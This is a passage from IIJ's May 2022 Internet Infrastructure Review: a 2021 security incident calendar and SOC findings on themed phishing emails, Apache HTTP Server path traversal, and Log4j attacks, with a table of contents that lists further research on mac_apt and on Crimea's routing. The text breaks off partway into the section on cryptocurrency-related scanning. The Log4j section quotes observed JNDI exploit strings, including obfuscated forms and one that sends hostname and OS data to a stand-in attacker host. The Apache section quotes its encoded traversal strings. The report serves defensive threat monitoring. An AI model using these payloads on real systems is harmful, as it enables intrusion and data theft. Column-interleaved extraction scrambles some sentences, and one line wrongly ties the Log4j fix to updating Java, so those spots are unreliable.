Internet
Infrastructure
Review
May.2022

Vol.

54

Periodic Observation Report

SOC Report
Focused Research (1)Creating a mac_apt Plugin (Part 1)
Focused Research (2)The Internet in Crimea: Changes inConnectivity Revealed by an Analysis
of Routing Data

Internet Inf rast ruc ture Review
May 2022 Vol.54

Executive Summary ........................ ................................................ 3
1. Periodic Observation Report .......... ................................................ 4
1.1
1.2
1.3

Introduction ............................................................................... 42021 Security Summary ................................................................... 4
Security Topics ............................................................................ 7

1.3.1 Analysis of Suspicious Email Subject Lines (2021) . ........................................ 7

1.3.2 Two vulnerabilities that made waves in 2021 ............................................. 10
1.3.3 Cryptocurrency-related Scanning .......................................................... 13
1.3.4 Observations on Phishing Sites . .......................................................... 15
1.4

Conclusion ................................ ............................................... 19

2. Focused Research (1) .................. ............................................... 20
2.1
2.2
2.3

What is mac_apt? . ........................ ............................................... 20
Important File Formats for macOS Forensics . .............................................. 20

mac_apt Plugin Structure .................. ............................................... 22

2.3.1 Demo Plugin ............................... ............................................... 22
2.3.2 Properties ................................................................................ 22
2.3.3 Entry Points ............................... ............................................... 23
2.3.4 The Demo Plugin’s Other Functions ....................................................... 25
2.3.5 Naming Rules for Functions etc. . ......................................................... 27
2.4

Finding Artifacts Not Supported by mac_apt . .............................................. 28

3. Focused Research (2) ................................................................. 30
3.1
3.2

Introduction .............................................................................. 30
The Internet in Crimea .................................................................... 30

3.2.1 Background . .............................. ............................................... 30
3.2.2 Ukrainian ISPs Left Crimea ................................................................ 30
3.2.3 The Kerch Strait Cable ..................... ............................................... 30
3.2.4 Internet De/Consolidation .................. ............................................... 31
3.3

The Transition Viewed Through Internet Measurements . .................................. 31

3.3.1 ASNs in Crimea . .......................... ............................................... 31
3.3.2 Network Dependencies ................................................................... 31
3.3.3 Appearance of Miranda Media . ........................................................... 33

3.3.4 End of the Transition . .................................................................... 34

2© Internet Initiative Japan Inc.

May.2022

Vol.

54

Executive Summary

Executive Summary

Russia’s invasion of Ukraine began on February 24, 2022. Information on wars in the 21st century comes tous not only through traditional media such as TV but also directly through a range of sources via the Internet.
To make proper sense out of the huge amount of information coming through, the receivers of that informationneed to educate themselves in advance and dispassionately scrutinize the information they receive. Yet it feels
like the effort to do this is confounded by the sheer, overwhelming amount of information the Internet thrusts
into the world.
Meanwhile, we are also seeing reports of attacks on Internet-based information systems, including DDoS
attacks and system intrusions, as well as reports about the possibility of the Internet being divided up by a
shutdown of DNS for ru domains or the severing of connections between networks. We are now bearing
witness to the great impact of war on the Internet, which has become our global social infrastructure.
The news that SIM cards, in addition to food, water, and the like, were being distributed as part of the relief
effort to Ukrainian refugees was also a reminder of how important the Internet is. I can only pray that theInternet will not be disrupted by the war and instead prove useful in bringing an end to this situation as soon as
possible.
The IIR introduces the wide range of technology that IIJ researches and develops, comprising periodic observation reports that provide an outline of various data IIJ obtains through the daily operation of services, as well as
focused research examining specific areas of technology.
Chapter 1 presents our SOC Report, our periodic observation report for this edition. IIJ’s SOC analyzes dataobtained through the operation of IIJ’s services, data that it collects independently, and data from externalsources. Since 2017, we have published information on threats we have observed and a range of security
topics through wizSafe Security Signal. The report here looks at security developments IIJ’s SOC has
been focusing on, including an analysis of suspicious email subject lines related to COVID-19, vulnerabilities in
Apache HTTP Server and Apache Log4j, cryptocurrency-related port scanning activity, and phishing sites.
The focused research report in Chapter 2 looks at mac_apt, a forensic analysis framework being developed
for macOS. mac_apt implements enough features to make it a useful tool for macOS forensic analysis (rarein comparison with what’s available for Windows). mac_apt uses plugins to analyze a range of artifacts. This
report is the first of a two-part series on the basics of creating a mac_apt plugin. It goes over the code used inplugins already implemented and what the author has learned from actually creating plugins.
In our second focused research report, in Chapter 3, the author presents his findings on how Internet connectivity
in Crimea has changed since Russia annexed the peninsula in 2014. As its name suggests, the Internet is a
network of interconnected networks, and an analysis of Internet routing data can reveal the state of the interconnections. The report paints a detailed picture of how Crimea’s Internet connectivity is being incorporated
into Russia.
Through activities such as these, IIJ strives to improve and develop its services on a daily basis while maintaining
the stability of the Internet. We will continue to provide a variety of services and solutions that our customers
can take full advantage of as infrastructure for their corporate activities.

Junichi Shimagami
Mr. Shimagami is a Senior Executive Officer and the CTO of IIJ. His interest in the Internet led to him joining IIJ in
September 1996. After engaging in the design and construction of the A-Bone Asia region network spearheaded by IIJ,
as well as IIJ’s backbone network, he was put in charge of IIJ network services. Since 2015, he has been responsible
for network, cloud, and security technology across the board as CTO. In April 2017, he became chairman of theTelecom Services Association of Japan MVNO Council.

© Internet Initiative Japan Inc.

3

1. Periodic Observation Report

SOC Report

1.1 Introduction

1.2 2021 Security Summary

IIJ launched the wizSafe security brand in 2016 and works

Tables 1 and 2 show the security incidents that the SOC

constantly to create a world in which its customers canfocused on from among those that rose to prominence in

use the Internet safely. The SOC communicates a variety

2021.

of information on security issues via the wizSafe Security
Signal*1 site and conducts analyses of threat information
using IIJ’s Data Analytics Platform, which collects logs
from IIJ services.
This report summarizes a year’s worth of our SOC’s
observations and communicates information in a format
that makes it easy to revisit past events. Section 1.2
looks at security topics that rose to prominence in Japan
in 2021 in a calendar format, and Section 1.3 discusses
observations our SOC analysts focused on in a variety of
categories.

*1

4

wizSafe Security Signal (https://wizsafe.iij.ad.jp/).

© Internet Initiative Japan Inc.

May.2022

Vol.

54

1. Periodic Observation Report

Table 1: Incident calendar (January–May)
Month

Summary/URL(s)January

Europol (the EU’s law enforcement agency) announced that Operation Ladybird, a joint effort among eight countries, had taken down attack
infrastructure used by the Emotet malware.
(Europol)"World’s most dangerous malware EMOTET disrupted through global action" https://www.europol.europa.eu/newsroom/news/world%E2%80%99s-most-dangerousmalware-emotet-disrupted-through-global-action

January

A foreign security company announced that Dnsmasq contains a DNS cache poisoning vulnerability and a buffer overflow vulnerability. This seriesof vulnerabilities is named DNSpooq.
(JSOF)
https://www.jsof-tech.com/disclosures/dnspooq/

January

SonicWall announced that it had confirmed a zero-day attack on its SMA 100 series of SSL-VPN appliances. It later announced that the zero-day
attack exploited a vulnerability (CVE-2021-20016) allowing unauthenticated remote access to credentials via SQL injection in build versions 10.x ofthe products.
(SonicWall)"Additional SMA 100 Series 10.x and 9.x Firmware Updates Required [Updated April 29, 2021, 12:30 P.M. CST]" https://www.sonicwall.com/support/productnotification/urgent-patch-available-for-sma-100-series-10-x-firmware-zero-day-vulnerability-updated-feb-3-2-p-m-cst/210122173415410/"Vulnerability List"
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0001

January

It was revealed that part of the source code of programs used in the systems of several Japanese companies had been released on GitHub.

February

A number of users who use certain features such as Salesforce Communities reported that the improper configuration of access control
permissions in the relevant products meant that information had been made viewable to third parties when it was not supposed to be.
(NISC)
https://www.nisc.go.jp/pdf/policy/infra/salesforce20210129.pdf

February

A staffing agency announced that a Web server managing its comprehensive career change information site had been subject to unauthorized
external access and that around 210,000 online user resumes may have been viewed.

February

Soliton Systems announced that some versions of the file/data transfer appliance FileZen contain an OS command injection vulnerability(CVE-2021-20655). A version that fixes the vulnerability was released the following month.
(Soliton Systems)
https://www.soliton.co.jp/support/2021/004334.html

March

Microsoft released a security update covering several vulnerabilities in Microsoft Exchange Server. The vulnerabilities fixed included remote code
execution vulnerabilities already confirmed to have been exploited (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065).
CVE-2021-26855 is also known as ProxyLogon.
(Microsoft)
https://msrc-blog.microsoft.com/2021/03/02/20210303_exchangeoob/

March

A foreign security company reported that many attacks exploiting zero-day vulnerabilities in Accellion FTA file transfer appliance servers werebeing observed.
(FireEye)https://www.fireeye.com/blog/jp-threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html

March

A consulting firm disclosed that personal information it had received from national and local government agencies, including names andaddresses, may have been leaked after a third party gained unauthorized access to its servers and infected them with ransomware.
(Landbrains)
http://www.landbrains.co.jp/hp/doc/210302.pdf
https://www.landbrains.co.jp/hp/doc/210519.pdf

April

A foreign security company disclosed a set of nine vulnerabilities related to the DNS protocol’s message compression affecting the TCP/IP stacks
in FreeBSD, IPNet, NetX, and Nucleus NET. It refers to these vulnerabilities collectively as NAME:WRECK.
(Forescout)https://www.forescout.com/research-labs/namewreck/

April

A government agency announced that its COVID-19 vaccination booking system for healthcare professionals contains a fault that allows the
personal information of people booked into the system to be viewed by using an analysis tool to perform a specific operation on the system.
Personal information on around 270,000 people booked into the system—including name, date of birth, occupation, and vaccination coupon
number—was accessible.
(Tokyo Metropolitan Government)
https://www.metro.tokyo.lg.jp/tosei/hodohappyo/press/2021/04/28/20.html

May

A foreign oil pipeline operator announced that it had taken steps to temporarily suspend operations due to a ransomware-based cyberattack. The
US Federal Bureau of Investigation (FBI) later announced that a group called DarkSide was responsible for the attack.
(FBI)
https://www.fbi.gov/news/pressrel/press-releases/fbi-statement-on-compromise-of-colonial-pipeline-networks

May

The operator of a matchmaking app disclosed that unauthorized external access to the app’s servers may have resulted in the leak of around 1.71
million images used for age verification, including images of driver’s licenses, health insurance cards, passports, and My Number cards.
(Net Marketing Co. Ltd.)
https://www.net-marketing.co.jp/news/5873/

May

A Japanese electrical equipment manufacturer announced that some projects that use a project information sharing tool that it provides were
subject to unauthorized third-party access, resulting in some stored customer information being exposed. The exposed information includes
information from multiple government agencies.
(Fujitsu)
https://pr.fujitsu.com/jp/news/2021/05/25.html
https://pr.fujitsu.com/jp/news/2021/08/11.html
https://pr.fujitsu.com/jp/news/2021/09/24-3.html
https://pr.fujitsu.com/jp/news/2021/12/9-1.html© Internet Initiative Japan Inc.

5

Table 2: Incident calendar (June–December)

6

Month

Summary/URL(s)June

Foreign security experts released proof-of-concept (PoC) code for a vulnerability in Windows Print Spooler called PrintNightmare. The PoC was
intended as an attack method against a privilege elevation vulnerability (CVE-2021-1675) in Windows Print Spooler that was fixed in a Microsoft
monthly security update, but it was revealed that the code could exploit a remote code execution vulnerability (CVE-2021-34527) that is different
from CVE-2021-1675. The following month, Microsoft released a special security update that included a fix for the vulnerability.
(Microsoft)
https://msrc-blog.microsoft.com/2021/07/06/20210707_windowsprintspooleroob/

June

A foreign company that provides comprehensive IT management software announced that systems providing its IT system monitoring, automation,and other services fell victim to a supply chain attack exploiting a zero-day vulnerability in the company’s products. The supply chain attack
infected customers of managed service providers (MSPs) with ransomware.
(Kaseya)https://www.kaseya.com/potential-attack-on-kaseya-vsa/

July

A foreign security company revealed an elevation of privilege vulnerability (CVE-2021-3438) in printer drivers provided by multiple companies. It
estimated that millions of printers worldwide were vulnerable.
(SentinelOne)
https://labs.sentinelone.com/cve-2021-3438-16-years-in-hiding-millions-of-printers-worldwide-vulnerable/

July

Microsoft announced that software in Windows 10 Version 1809 and later contains an elevation of privilege vulnerability (CVE-2021-36934) due toflaws in Access Control Lists (ACLs) on multiple system files. A fix was not available when the vulnerability was disclosed. As a workaround,
Microsoft recommended fixing registry file ACLs and deleting shadow copies created by the Volume Shadow Copy Service (VSS). The vulnerability
was fixed in the following month’s monthly security update.
(Microsoft)
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934

AugustForeign security experts released details of ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) in Microsoft Exchange
Server. The vulnerabilities were fixed by Microsoft’s monthly security updates for April and May.
(DEVCORE)
https://devco.re/blog/2021/08/22/a-new-attack-surface-on-MS-exchange-part-3-ProxyShell/

AugustA foreign security group released information about a vulnerability (CVE-2021-33766) called ProxyToken in Microsoft Exchange Server. The
vulnerability was fixed by the monthly security update released in July.
(Zero Day Initiative)
https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server

AugustA foreign mobile communications company announced that its systems had fallen victim to a cyberattack, resulting in information on around 50
million current customers, prepaid customers, former customers, and prospective customers being compromised.
(T-Mobile)
https://www.t-mobile.com/news/network/additional-information-regarding-2021-cyberattack-investigation

September

The Apache Software Foundation released Apache HTTP Server 2.4.49, a security update addressing vulnerabilities in Apache HTTP Server. A
vulnerability (CVE-2021-41773) due to the fix made in 2.4.49 was discovered, however, and 2.4.50 was released the following month. As that fix was
found to be insufficient, 2.4.51 was released a few days later to fix the remaining vulnerability (CVE-2021-42013).
(Apache Software Foundation)
https://httpd.apache.org/security/vulnerabilities_24.html#2.4.50
https://httpd.apache.org/security/vulnerabilities_24.html#2.4.51

September

Microsoft announced that MSHTML contains a remote code execution vulnerability (CVE-2021-40444). An attacker could exploit the vulnerability bycreating an Office document that exploits ActiveX controls in Internet Explorer and causing a user to open the document. Exploits had already been
detected when the vulnerability was published. A security update program that fixes the vulnerability was released the same month.
(Microsoft)
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444

October

A telecommunications carrier announced that social media phishing messages claiming to be from the company’s service resulted in users being
defrauded of their funds. The messages tricked users into installing a fake app and entering their PIN. The company revealed that around 1,200
users had been affected, with damages totalling roughly 100 million yen.
(NTT Docomo)
https://www.nttdocomo.co.jp/info/notice/page/211002_00.html

November

Emotet activity resumed from around mid-November, and IPA and other security organizations issued warnings.
(IPA)
https://www.ipa.go.jp/security/announce/20191202.html

November

JPCERT/CC announced an increase in reports of phishing aimed at obtaining webmail service account information.
(JPCERT/CC)
https://www.jpcert.or.jp/at/2021/at210049.html

November

A foreign domain registrar announced that unauthorized access to its managed hosting system resulted in information on up to 1.2 million
customers being exposed.
(GoDaddy)
https://aboutus.godaddy.net/newsroom/company-news/news-details/2021/GoDaddy-Announces-Security-Incident-Affecting-Managed-WordPress-Service/def
ault.aspx

December

The Apache Software Foundation announced that Apache Log4j 2 contains a remote code execution vulnerability (CVE-2021-44228) and released a
fixed version. As the fix was insufficient, however, new vulnerabilities (CVE-2021-44832, CVE-2021-45046, CVE-2021-45105) were discovered,leading to a string of fixes being released.
(Apache Software Foundation)
https://logging.apache.org/log4j/2.x/security.html#log4j-2.15.0
https://logging.apache.org/log4j/2.x/security.html#log4j-2.16.0
https://logging.apache.org/log4j/2.x/security.html#log4j-2.17.0
https://logging.apache.org/log4j/2.x/security.html#log4j-2.17.1© Internet Initiative Japan Inc.

May.2022

Vol.

54

1. Periodic Observation Report

1.3 Security Topics• Subject lines about meeting invitations

This section looks at key topics our analysts focused on

Emails with subjects that include words associated withfrom among attacks detected by our SOC in 2021.

meeting notifications and invitations.

1.3.1 Analysis of Suspicious Email Subject Lines (2021)

We used these words to analyze subject lines for the following

Like 2020, 2021 also brought many topics and events

three reasons. Interest in words associated with COVID-

of considerable interest to people. Specific examples include

19 itself and the vaccines was likely high because of thecompanies promoting remote work to guard against

emergence of variants and the start of vaccine rollouts*2.

COVID-19 infections and the government’s use of states

Interest in words associated with remote work and governmentof emergency to combat the spread of COVID-19. Other

pronouncements was likely high because of the government

talking points included the spread of COVID-19 variants

encouraging the use of remote work and declaring statesand vaccination-related topics. Our SOC, meanwhile, observedof emergency*3. And we also looked at words associatedcyberattack emails that made use of topics under thewith meeting invitations because companies and otherspotlight in 2021. This section looks at observational data

organizations are migrating their information systems into

on attack emails with subject lines that included words ofthe cloud and the number of companies making use of online

particular interest in the context of 2021. We go over the

meetings (one example of a cloud service) is rising*4.

following three types of email subjects.
First, we graph detections of these three word types in• Subject lines related to COVID-19 and vaccines

subject lines during the year (Figure 1). The figures are

Emails with subjects that include COVID-19 terms directly

normalized so that the total number of emails detected for(e.g., SARS-CoV-2, corona) as well as vaccines used toeach word type during the period corresponds to 100% on

prevent infections.

the vertical axis.

• Subject lines related to remote work and government

Figure 1 shows that we detected a lot of attack emails in

pronouncements

January, which we confirmed were carrying downloaders

Emails with subjects that include words associated withfor the information-theft malware Emotet. Europol (the EU’s

remote work (e.g., home work, telework) and words as-

law enforcement agency) announced on January 27 thatsociated with government pronouncements (e.g., state of

the Emotet attack infrastructure had been taken down,

emergency, lockdown).

and the SOC did not receive any emails carrying an Emotet(No. of detections)
100%
90%
80%
70%
60%
50%
40%
30%

■ Words associated with COVID-19
and vaccines20%■ Words associated with remote workand government pronouncements

10%0%■ Words associated with meeting
invitations
Jan.

Feb.

Mar.

Apr.

May

Jun.

Jul.

Aug.

Sep.

Oct.

Nov.

Dec.

(Month)Figure 1: No. of Attack Emails Detected with 3 Word Types Relevant to 2021 in the Subject Line (2021)*2

NHK, World vaccination overview (https://www3.nhk.or.jp/news/special/coronavirus/vaccine/world_progress/, in Japanese).

*3

Ministry of Internal Affairs and Communications, Promotion of telework (https://www.soumu.go.jp/main_sosiki/joho_tsusin/telework/, in Japanese).

*4

Ministry of Internal Affairs and Communications, 2021 White Paper on Information and Communications in Japan (https://www.soumu.go.jp/johotsusintokei/whitepaper/
ja/r03/html/nd105210.html, in Japanese).

© Internet Initiative Japan Inc.

7

downloader between February and October*5. Unfortunately,

likely to be perceived as suspicious and less likely to be

Emotet did resurface, and the SOC again began detecting

detected by security devices. Table 3 shows examples of

emails with Emotet downloaders from November. Note thatemails detected in April, May, and August.

Trickbot was also observed being used to facilitate Emotet
infections on November 14*6.

The subject line of the email detected in May indicates
it contains guidelines on COVID-19. The From header of■ Emails containing words associated with COVID-19 andthis email contains who[.]com, suggesting it is designed
to look like it is from the World Health Organization

the vaccines
Throughout 2021, we detected a lot of emails with attach-(WHO). Emails from this domain can be mistaken as being

ment that used words associated with COVID-19 andgenuine unless you know the correct WHO domain. WHO

the vaccines. Aside from January and its high volume

has issued a warning about attack emails purporting to beof Emotet detections, we detected many such emails infrom WHO and urging people to check that the domain in

April, May, and August. A characteristic of emails detected

the sender’s address is who.int, WHO’s official domain*7.

in these months is that they were designed to be less

Table 3: Examples of Emails Using Words Associated with COVID-19 and the VaccinesMonth

Subject line

MalwareApril<Name of delivery agent> Customer Advisory - COVID-19 ECRS Update 5

Agent Tesla

May

4TH WAVE OF COVID-19 READ FOR URGENT GUIDELINESFormBook

AugustCOVID-19 fight in a strike last to receive the virus tears

BuerLoader

AugustCOVID-19 a long as the findings and crew in the CDC

BuerLoader

AugustCOVID-19 have provided theyre vaccinated people fully immunized with travel and

BuerLoader(No. of detections)
100%
90%
80%
70%
60%
50%
40%
30%

■ Words associated with COVID-19
and vaccines20%■ Words associated with remote workand government pronouncements

10%0%■ Words associated with meeting
invitations
Jan.

Feb.

Mar.

Apr.

May

Jun.

Jul.

Aug.

Sep.

Oct.

Nov.

Dec.

(Month)Figure 2: No. of Attack Emails Detected with 3 Word Types Relevant to 2021 in the Subject Line (excl. Emotet; 2021)*5

Europol, “World’s most dangerous malware EMOTET disrupted through global action” (https://www.europol.europa.eu/media-press/newsroom/news/
world%e2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action).

8*6Cyber.WTF, “Guess who’s back” (https://cyber.wtf/2021/11/15/guess-whos-back/).

*7

WHO, “Beware of criminals pretending to be WHO” (https://www.who.int/about/cyber-security).

© Internet Initiative Japan Inc.

May.2022

Vol.

54

1. Periodic Observation Report

In August, we detected email with a downloader for the■ Emails containing words associated with remote work

malware BuerLoader attached. The email had the following
characteristics.

and government pronouncements
We observed many Emotet attacks among emails containing
words associated with remote work and government• Part of the From header is one of the following, and upon

pronouncements (Table 4). We detected many emails withdividing the string into words, it appears the sender iswords associated with remote work in January and many

pretending to be an institution or healthcare professionalwith words associated with government pronouncements

associated with COVID-19.

in January and December. Below are specific examples of• covidregions[.]com

emails detected in January and December. We confirmed that• covidhospitalgeer[.]com

all of these emails were carrying the Emotet downloader.

• covidadministration[.]com• covid-19callcenter[.]com

The Japanese government declared a state of emergency• The previous BuerLoader was written in C, but the variant

in January, and this is probably why attackers sent out

observed in August was coded in Rust. This means it may

emails pretending to be about the state of emergency

not be detectable with old detection signatures*8.

declaration, and about remote work, which companies
promoted in response. In December, we detected emails

With interest in the Delta COVID-19 variant growing in

about the state of emergency being lifted as well as a

August, attackers look to have used COVID-19 themes

redeclaration. The state of emergency declared in 2021

in their attacks around that time . And the BuerLoader

was in place until September 30, and the government did

downloaded in these attacks was designed to avoid

not redeclare one in December. We surmise that attackers

detection by security devices.

may have used the term “state of emergency”, despite*9

Table 4: Examples of Emails Using Words Associated with Remote Work and Government Pronouncements
Month

Subject line

January

Fwd: Information on telework roles

January

Re: [Info] About dispatching telework advisors (<name of local government>)

JanuaryWork attendance at time of health examination

January

Notice on our response to COVID-19 infections

January

Response following issuance of state of emergency

December

Re: Our Group’s response to the lifting of the COVID-19 state of emergency

DecemberFwd: Our Group’s response following the lifting of the COVID-19 state of emergency

December

RE: State of emergency declaration

December

RE: Our Group’s thorough response to the COVID-19 state of emergency redeclaration*8*9

Proofpoint, “New Variant of Buer Loader Written in Rust” (https://www.proofpoint.com/us/blog/threat-insight/new-variant-buer-loader-written-rust).
Proofpoint, “As Delta Variant Spreads, COVID-19 Themes Make Resurgence In Email Threats” (https://www.proofpoint.com/us/blog/threat-insight/delta-variantspreads-covid-19-themes-make-resurgence-email-threats).

© Internet Initiative Japan Inc.

9

one not actually having been declared, in order to piqueemails taking advantage of such themes of high interest to

users’ interest.

people. Steps to guard against suspicious emails include
not carelessly opening email attachments and looking■ Emails containing words associated with meeting

carefully at the sender’s email address.

invitations
We detect a lot of emails containing the name of a company

1.3.2 Two vulnerabilities that made waves in 2021

or organization among emails that used words associated

Two sets of Apache software vulnerabilities made waves

with meeting invitations. We have also determined thatin the latter half of 2021. One was a set of Apache HTTP

the number of emails about meeting invitations detected

Server vulnerabilities (CVE-2021-41773*10, CVE-2021-

in 2020 and 2021 was higher than in 2019. This is possibly

42013*11) disclosed in October. Initially considered a pathbecause, with online meetings being used in an increasing

traversal vulnerability, CVE-2021-41773 was later also

number of situations as companies migrate to the cloud,designated a Remote Code Execution (RCE) vulnerability

attackers are crafting attack emails to look like meetingand marked as critical, the most serious category. The

invitations in an effort to reduce suspicion. We were notother was a set of Apache Log4j vulnerabilities (CVE-able to find any association between the month in which2021-44228*12, CVE-2021-45046*13) that allowed RCE.

we detected these emails and prominent events that took

These were disclosed in December and, as with theplace in Japan at the time. Table 5 shows examples of emails

Apache HTTP Server vulnerabilities, were marked critical.

containing words associated with meeting invitations.

In both cases, a single software update was insufficient
to patch the vulnerabilities and attack activity continued■ Summary

to appear. This section details these two critical sets of

In 2021, attackers sent out many emails containing content

vulnerabilities and summarizes what our SOC observed.

associated with the prominent themes of COVID-19,
remote work, and meeting invitations. And we discoveredthat attackers had been using a range of techniques tomake their attacks succeed. As of end-December 2021,■ Apache HTTP Server vulnerabilities(CVE-2021-41773, CVE-2021-42013)

the COVID-19 Omicron variant had spread throughout the

On October 4 (US time), the Apache Software Foundationworld, and interest in COVID-19-related content no doubt

released Apache HTTP Server 2.4.50 (web server soft-remains high. So we expect to continue to see attackware) containing a fix for a path traversal vulnerability

Table 5: Examples of Emails Using Words Associated with Meeting Invitations

10

Month

Subject line

MalwareJanuary

Re: Invitation emails for “executive test meeting” being sent out

EmotetApril[<Company name>] Request for Meeting on Construction works in Jordan -<Project name>

STRRAT

June

Meeting Notification

Snake Keylogger

DecemberMeeting schedule

Emotet*10

MITRE, “CVE-2021-41773” (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773).

*11

MITRE, “CVE-2021-42013” (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013).

*12

MITRE, “CVE-2021-44228” (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228).

*13

MITRE, “CVE-2021-45046” (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046).

© Internet Initiative Japan Inc.

May.2022

Vol.

54

1. Periodic Observation Report(CVE-2021-41773) in Apache HTTP Server 2.4.49*14.

to timezone differences, the observed decline on Sundays

The vulnerability occurred because the “%2e” and “%2E”

and Mondays in Japan corresponds to a decline in attack

percent encodings of the “.” character, which is used

activity on Saturdays and Sundays abroad. Some 85.7%

to traverse paths in HTTP requests, were not taken intoof all attacks were using “%2e”, but since October 9,

account. This made it possible to read files locatedimmediately after CVE-2021-42013 was disclosed, we

outside the document root and execute remote code via

have also observed patterns that use recursive encoding

CGI scripts. Apache HTTP Server 2.4.50 attempted to fix

since.

this by also checking for “%2e” and “%2E”. An investigation
by our analyst*15, however, revealed that path traversal

These vulnerabilities can be addressed by updating towas still possible because strings like “%%32%65”,

Apache HTTP Server 2.4.51 or later. Please consider

which re-encodes “%2e”, were being recursively parsed

updating to the latest release if you are currently runningas percent encodings, and we reported this to the Apachean affected version.

Security Team*16.

Apache HTTP Server 2.4.51, which

fixes CVE-2021-42013, was subsequently released on
October 7*17. We observed attacks targeting the above
two vulnerabilities in our honeypots (Figure 3).

■ Apache Log4j vulnerabilities(CVE-2021-44228, CVE-2021-45046)
On December 10, a version of Apache Log4j 2 (Javalogging library) that fixed an RCE vulnerability (CVE-

Our SOC began detecting attacks on October 6, immediately

2021-44228) was released*18. This fix was incomplete,after CVE-2021-41773 was disclosed, and this activity

however, and a series of fixes for new vulnerabilities (CVE-

persisted through the end of 2021 and is ongoing in 2022.

2021-44832*19, CVE-2021-45046, CVE-2021-45105*20)

By day of week, around 24.1% of the activity is focused onwere subsequently released. CVE-2021-44228 and CVE-

Fridays and less than 10% on Sundays and Mondays. Due

2021-45046, in particular, are considered critical (the(No. of detections)

300
250
200
150
100
50

■ %2e
■ %%32%65
■ %2E

.1

(Date)

D
ec

.1
N
ov

O

ct

.6

0

Figure 3: Observed Attacks Targeting Apache HTTP Server Vulnerabilities (Oct.–Dec. 2021)*14

Apache Software Foundation, “Fixed in Apache HTTP Server 2.4.50” (https://httpd.apache.org/security/vulnerabilities_24.html#2.4.50).

*15

wizSafe Security Signal, “Discovery of path transversal vulnerability in Apache HTTP Server 2.4.50” (https://wizsafe.iij.ad.jp/2021/10/1285/, in Japanese).

*16

Apache Security Team (https://www.apache.org/security/).

*17

Apache Software Foundation, “Fixed in Apache HTTP Server 2.4.51” (https://httpd.apache.org/security/vulnerabilities_24.html#2.4.51).

*18

Apache Software Foundation, “Apache Log4j Security Vulnerabilities” (https://logging.apache.org/log4j/2.x/security.html).

*19

MITRE, “CVE-2021-44832” (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832).

*20

MITRE, “CVE-2021-45105” (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105).

© Internet Initiative Japan Inc.

11

most serious type) and, if exploited, allow information

In the early stages, strings used in such attacks contained

theft and RCE. Apache Log4j is a widely used Java library,expressions like “${jndi:ldap” and “${jndi:dns”, and ourso this became a major security industry topic. An example

SOC also observed such attacks starting from late at nightof an attack is illustrated below (Figure 4).

on December 10. As awareness of such attacks spread
and administrators took steps such as blocking theseIn the Apache Log4j 2 library, dynamic log output isstrings, attackers began trying workarounds using otherachieved by using Lookup functions*21 to process specificvalid expressions in the Apache Log4j Lookup syntax. These

character strings in the logs as variables. One is JNDI

are the strings like “${lower:”, “${env:”, and “${::-” also shown

Lookup, which contributed to the vulnerability. JNDI

in Figure 5. Apache Log4j Lookup allows nesting of “${}”, so

Lookup can be exploited to execute arbitrary external“${jndi:${lower:l}${lower:d}${lower:a}${lower:p}}” is parsed

code and steal environment variables. First, the attacker

as “${jndi:ldap}”. Another observed technique was thesends data with a header containing an exploit string touse of default Lookup values through the “:-” syntax. If

a server with the Apache Log4j vulnerability. The receiving

a value being looked up is not found, Apache Log4j uses

server uses JNDI Lookup to process this, causing it to

the default value, so you can output the character “j” withdownload and execute Java code prepared by the attacker“${::-j}”. Similarly, attackers can also look up nonexistentfrom a specified URL. Our honeypot observations appear

environment variables as a way of using default values as

below (Figure 5).

a workaround, with strings like “${evn:NaN:-j}”.

1. Sends malicious string${jndi:ldap://malicious.server.com/x}

Attacker
2. Request
ldap://malicious.server.com/x
3. Response containing malicious Java code

Malicious server

Vulnerable server
4. Executes malicious Java code

Figure 4: Flowchart of Attack Exploiting the Apache Log4j Vulnerability(No. of detections)
900
800
700
600
500

■ ${jndi:ldap://■ ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://■ ${jnd${123%ff:-${123%ff:-i:}}ldap://■ {${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//■ ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://■ ${jndi${nagli:-:}ldap:${::-/}/■ ${jndi:iiop://■ ${jndi:dns://

400
300
200
100

1

0

ec

.3

(Date)

D

9

.3
ec

D

8

.2
ec

D

7

.2
ec

D

6

.2
ec

D

5

.2
ec

D

4

.2
ec

D

3

.2
ec

D

2

.2
ec

D

1

.2
ec

D

0

.2
ec

D

9

.2
ec

D

8

.1
ec

D

7

.1
ec

D

6

.1
ec

D

5

.1
ec

D

4

.1
ec

D

3

.1
ec

D

2

.1
ec

D

1

.1
ec

D

.1

.1
ec

D

D

ec

0

0

Figure 5: Observations of Attacks Targeting the Apache Log4j Vulnerability (December 2021)

*21

12

Apache Software Foundation, “Log4j 2 Lookups” (https://logging.apache.org/log4j/2.x/manual/lookups.html).

© Internet Initiative Japan Inc.

May.2022

Vol.

54

1. Periodic Observation Report

We have also observed attacks designed to steal environment

activity targeting Elasticsearch (9200/TCP)*23. In 2021,

variables in the following form:

we observed a significant increase in scanning, particularly“${jndi:ldap://malicious.server.com/

on 6379/TCP and 2375/TCP. The 6379/TCP port is used

operatingSystem=$(sys:os.name)/by the in-memory database Redis. Redis has no password

hostName=${env:HOSTNAME}}”set by default, so if you expose it publicly, people canaccess it without a password. An attacker could exploit

The vulnerabilities discussed here can be addressed

the config command or slaveof command to executeby updating to the latest version of Java. If you cannot

arbitrary commands*24. The 2375/TCP port is used by

update immediately because you are still investigating

the container platform Docker. If a Docker daemon thatthe impact of the changes or whatnot, please consider

can operate containers is exposed to external access, anworkarounds such as disabling Apache Log4j and JNDI

attacker may deploy a malicious container image and

Lookups, using a WAF, and so forth. We also recommend

execute arbitrary commands*25.

you check for the existence of any suspicious processes
